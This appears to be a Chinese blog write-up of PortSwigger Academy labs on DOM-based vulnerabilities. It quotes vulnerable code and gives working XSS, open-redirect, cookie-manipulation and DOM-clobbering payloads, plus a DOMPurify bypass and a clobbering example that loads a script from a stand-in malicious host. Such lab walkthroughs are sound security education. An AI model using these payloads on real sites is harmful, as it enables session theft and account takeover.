DOM-based vulnerabilities

材料里没列完,直接做题吧

1 - DOM XSS using web messages

  • 题目描述

    • 这个lab有一个简单的web-message漏洞
  • 要求

    • 利用exploit server给网站发送一个信息,使其执行alert(document.cookie)
  • 解题过程

    • 查看源码,发现如下代码

      window.addEventListener('message', function(e) {
      document.getElementById('ads').innerHTML = e.data;
      })
    • MDN看了下web message,是一个跨源通信的函数,可以通过iframe来实现这个功能

    • 构造exp

      • 先尝试了用iframe+script标签的形式,但是发现script标签不会等iframe加载完,所以放进了iframe
      • postMessage()的第二个参数使用通配符,允许目标站点为任意域(防止CORS被阻止)
      • 关于post进去的数据也进行了尝试(chrome),svg,script都不行,想了一下应该与标签的解析流有关(插入的标签没有被解析),这里用img
      <iframe src="https://ac131fb91f0c536f80f50dc100070028.web-security-academy.net/" onload='this.contentWindow.postMessage("<img src=x onerror=alert(document.cookie)>","*")'>

2 - DOM XSS using web messages and a JavaScript URL

  • 题目描述

    • 此lab存在DOM-based跳转漏洞(通过web message诱发)
  • 要求

    • 构造页面,使访问者执行alert(document.cookie)
  • 解题过程

    • 还是先找代码

      window.addEventListener('message', function(e) {
      var url = e.data;
      if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) { //传入的url包含http(s):
      location.href = url;// 跳转
      }
      }, false);
      • 弹窗可以通过伪javascript伪协议调用

        let url = 'javscript:alert()-"http:"';
        location.href = url; // 但是这样不好写进去,因为单双引号(所以需要借助编码环境进行编码,事件内部是js解析环境,会先进行unicode解码,所以可以进行编码
        this.contentWindow.postMessage('javascript:alert(document.cookie)-"http:"',"*")
    • 构造exp

      <iframe src="https://ac901fa21ee08d748031385e00110021.web-security-academy.net/" onload='this.contentWindow.postMessage('javascript:alert(document.cookie)-"http:"',"*")'>

3 - DOM XSS using web messages and JSON.parse

  • 题目描述

    • 此lab使用了web messageing并把消息当作json解析
  • 要求

    • 构造页面,使访问者执行alert(document.cookie)
  • 解题过程

    • 先看代码

      window.addEventListener('message', function(e) {
      var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
      document.body.appendChild(iframe);
      try {
      d = JSON.parse(e.data);
      } catch(e) {
      return;
      }
      switch(d.type) {
      case "page-load":
      ACMEplayer.element.scrollIntoView();
      break;
      case "load-channel":
      ACMEplayer.element.src = d.url; // 如果d.type=="load-channel",则讲url赋给iframe
      break;
      case "player-height-changed":
      ACMEplayer.element.style.width = d.width + "px";
      ACMEplayer.element.style.height = d.height + "px";
      break;
      }
      }, false);
    • 构造exp

      <iframe src="https://ac0b1f8a1e418d0a802e3c2100ea005f.web-security-academy.net/" onload='var a={"type":"load-channel","url":"javascript:alert(document.cookie)"};this.contentWindow.postMessage(JSON.stringify(a),"*")'>
      • 这里需要用JSON.stringify()把json转换成字符串,不能直接传输对象

4 - DOM-based open redirection

  • 题目描述

    • 此lab有一个DOM型的url跳转漏洞
  • 要求

    • 把受害者拐进exploit server
  • 解题过程

    • 点进一个详情页面,发现返回链接比较特殊

      <a href="#" onclick="returnUrl = /url=(https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = '/';">Back to Blog</a>
      • location(地址栏里全部的东西,包括#后面的内容)用正则url=(https?:\/\/.+)匹配,如果能匹配到,就跳转到匹配到的url
    • 构造exp

      • 这块想了半天,把受害者拐进exploit server需要点击按钮,总不能继续xss吧,然后去看了solution,自己就是受害者???
      • 第二个,使用#也可以达到目的,但是不给过,只能用&(猜测后端通过检测url参数判断)
      https://ac891f911e4e7dcb80201fd4009d0060.web-security-academy.net/post?postId=4#url=https://acc61fdf1e577d2480831f0b019e002b.web-security-academy.net
      
      solution: # -> &

5 - DOM-based cookie manipulation

  • 题目描述

    • 此lab存在DOM型客户端cookie修改
  • 要求

    • 插入一个可以实现XSS(弹cookie)的cookie
  • 解题过程

    • 在商品详情页面看到如下代码

      document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'

      可以通过&/#插入内容

    • 在主页,发现在访问过之后,会出现浏览记录,而且会被'逃逸

      <a href="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#" -alert()-'="">'&gt;Last viewed product</a>
      
      之前访问的是https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'-alert()-'>
    • 构造exp

      <iframe src="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'%3E%3Csvg/onload=alert(document.cookie)%3E" onload="this.src='https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/'">

6 - Exploiting DOM clobbering to enable XSS

  • 题目描述

    • 评论功能点允许安全的HTML
  • 要求

    • 构造HTML注入,污染(clobber)变量?,调用alert()
    • hint:预期解只在chrome有效
  • 解题过程

    • 在详情页面看到函数调用loadComments('/post/comment'),看看函数定义

      function loadComments(postCommentPath) {
      let xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
      let comments = JSON.parse(this.responseText);
      displayComments(comments);
      }
      };
      xhr.open("GET", postCommentPath + window.location.search);
      xhr.send(); function escapeHTML(data) {
      return data.replace(/[<>'"]/g, function(c){
      return '&#' + c.charCodeAt(0) + ';';
      })
      } function displayComments(comments) {
      let userComments = document.getElementById("user-comments"); for (let i = 0; i < comments.length; ++i)
      {
      comment = comments[i];
      let commentSection = document.createElement("section");
      commentSection.setAttribute("class", "comment"); let firstPElement = document.createElement("p"); let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
      let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">'; let divImgContainer = document.createElement("div");
      divImgContainer.innerHTML = avatarImgHTML if (comment.author) {
      if (comment.website) {
      let websiteElement = document.createElement("a");
      websiteElement.setAttribute("id", "author");
      websiteElement.setAttribute("href", comment.website);
      firstPElement.appendChild(websiteElement)
      } let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
      firstPElement.innerHTML = newInnerHtml
      } if (comment.date) {
      let dateObj = new Date(comment.date)
      let month = '' + (dateObj.getMonth() + 1);
      let day = '' + dateObj.getDate();
      let year = dateObj.getFullYear(); if (month.length < 2)
      month = '0' + month;
      if (day.length < 2)
      day = '0' + day; dateStr = [day, month, year].join('-'); let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
      firstPElement.innerHTML = newInnerHtml
      } firstPElement.appendChild(divImgContainer); commentSection.appendChild(firstPElement); if (comment.body) {
      let commentBodyPElement = document.createElement("p");
      commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body); commentSection.appendChild(commentBodyPElement);
      }
      commentSection.appendChild(document.createElement("p")); userComments.appendChild(commentSection);
      }
      }
      };
    • 挨着看了一遍,感觉29、30行可能存在问题,但是不知道怎么利用

      • 试了一下在提交参数的时候增加avatar,没有用
    • 放着先测一下能用哪些标签

      • a
        audio
        b
        big
        br
        button
        canvas
        center
        cite
        code
        datalist
        dfn
        del
        details
        filedset
        h1
        hr
        i
        input
        ins
        kdb
        label
        li
        mark
        marquee
        meter
        optgroup
        progress
        q
        rp
        s
        samp
        select
        svg
        textarea
        u
        • 有点多,挑一个最喜欢的svg测测

        • 然后发现,返回的数据包是没有过滤的,过滤全部在前端的DOMPurify.sanitize()中进行

        • 本以为这条路走不通了,然后在搜这个函数的时候看到一篇Bypass DOMPurify的文章

          <form>
          <math><mtext>
          </form><form>
          <mglyph>
          <style></math><img src onerror=alert(1)>
    • 回到代码看看

      • 如果能找到给windows.属性赋值的方法(通过html或请求),就可以通过以下代码进行XSS

        let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
        let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
      • 去看了下材料DOM clobber 里面介绍了一种方法,

        <script>
        window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
        };
        </script>
        <!--
        To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
        As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.
        --> <!-- 要修改 window.someObject.url 则使id=someObject name=url href=目标内容 -->
        <a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
      • 测试发现javascript:伪协议被过滤

      • 试试能不能逃逸出字符串,最后还是看了solution,用的&quot;("的html实体编码)

    • 构造exp(调用alert()函数就行了,加document.cookie会被过滤

      <a id=defaultAvatar><a id=defaultAvatar name=avatar href="&quot;onerror=alert()//">

7 - Clobbering DOM attributes to bypass HTML filters

  • 题目描述

    • 此lab使用了HTMLJanitor库,可以通过DOM clobber构造攻击向量bypass过滤器并调用alert(document.cookie)
  • 要求

    • 给受害者发送一个自动执行的攻击向量,alert(document.cookie)
    • intended solution for chrome
  • 解题过程

    • 进详情页面看了看代码,没有上一题的直接引用window.object/document.object,此外,引用了HTMLJanitor库

    • 反复看了几遍HTMLJanitor的代码,没找到突破口在哪里,于是去看了solution + Donx发现的DOM clobber的介绍

      <form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>
      <!-- 覆盖 使 x.attributes == undefined --> <iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(someArgument=>this.src=this.src+'#x',500)">
      • 关键代码

        for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a]; if (shouldRejectAttr(attr, allowedAttrs, node)) {
        node.removeAttribute(attr.name);
        // Shift the array to continue looping.
        a = a - 1;
        }
        } // Sanitize children
        this._sanitize(document, node); function shouldRejectAttr(attr, allowedAttrs, node) {
        var attrName = attr.name.toLowerCase(); if (allowedAttrs === true) {
        return false;
        } else if (typeof allowedAttrs[attrName] === "function") {
        return !allowedAttrs[attrName](attr.value, node);
        } else if (typeof allowedAttrs[attrName] === "undefined") {
        return true;
        } else if (allowedAttrs[attrName] === false) {
        return true;
        } else if (typeof allowedAttrs[attrName] === "string") {
        return allowedAttrs[attrName] !== attr.value;
        } return false;
        }
      • 使用<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>进行DOM clobber,使得form.attributes == undefined

      • 在检测的代码中可以看到,当node.attributes == undefined时,会绕过removeAttribute(),保留下标签中的事件

    • 之后的iframe标签是用来触发onfocus的,必须等到加载评论的ajax结束

Portswigger web security academy:DOM-based vulnerabilities的更多相关文章

  1. Portswigger web security academy:DOM Based XSS

    Portswigger web security academy:DOM Based XSS 目录 Portswigger web security academy:DOM Based XSS DOM ...

  2. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  3. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  4. Portswigger web security academy:Stored XSS

    Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  10. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

随机推荐

  1. CVE-2014-4210 SSRF漏洞

    Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 修复方式: 1.删除server/lib/uddiexplorer.w ...

  2. 基于es实现一个简单的搜索引擎

    一.什么是es Elasticsearch是一个基于ApacheLucene(TM)的开源搜索引擎.无论在开源还是专有领域,Lucene可以被认为是迄今为止最先进.性能最好的.功能最全的搜索引擎库.但 ...

  3. FreeBSD 的xfce 终端动态标题不显示问题解决了:

    tcsh配置,home目录创建.tcshrc, 写入以下配置 alias h history 25 alias j jobs -l alias la ls -aF alias lf ls -FA al ...

  4. spring事务:事务控制方式,使用AOP控制事务,七种事务传播行为,声明事务,模板对象,模板对象原理分析

    知识点梳理 课堂讲义 1)事务回顾 1.1)什么是事务-视频01 事务可以看做是一次大的活动,它由不同的小活动组成,这些活动要么全部成功,要么全部失败. 1.2)事务的作用 事务特征(ACID) 原子 ...

  5. P3387 【模板】缩点 题解 (Tarjan)

    题目链接 P3387 [模板]缩点 解题思路 这几天搞图论,好有趣hhh,多写几篇博客. 上次学\(Tarjan\)求割点,这次缩点. 思路大概是多一个栈和染色的步骤,每次\(Tarjan\)的时候把 ...

  6. scala集合上常用的方法

    sacala 关于集合常用的操作 map1.映射:对集合中的每一个元素进行执行某一项操作2.返回值类型,正常情况不变,原来集合是什么类型,就返回什么类型3.元素类型,根据我们函数的返回值类型 val ...

  7. 学习Python的书籍——入门到进阶

    入门读物 <Python基础教程>(Beginning Python From Novice to Professional) <Python学习手册>(Learning Py ...

  8. 利用浏览器favicon的缓存机制(F-Cache)生成客户端浏览器唯一指纹

    利用浏览器favicon的缓存机制(F-Cache)生成客户端浏览器唯一指纹 首先介绍下: 这个技术出自 UIC论文:https://www.cs.uic.edu/~polakis/papers/so ...

  9. 开源一个比雪花算法更好用的ID生成算法(雪花漂移)

    比雪花算法更好用的ID生成算法(单机或分布式唯一ID) 转载及版权声明 本人从未在博客园之外的网站,发表过本算法长文,其它网站所现文章,均属他人拷贝之作. 所有拷贝之作,均须保留项目开源链接,否则禁止 ...

  10. 最短路径(Floyd算法)

    声明:图片及内容基于https://www.bilibili.com/video/BV1oa4y1e7Qt?from=articleDetail 多源最短路径的引入 Floyd算法 原理 加入a: 加 ...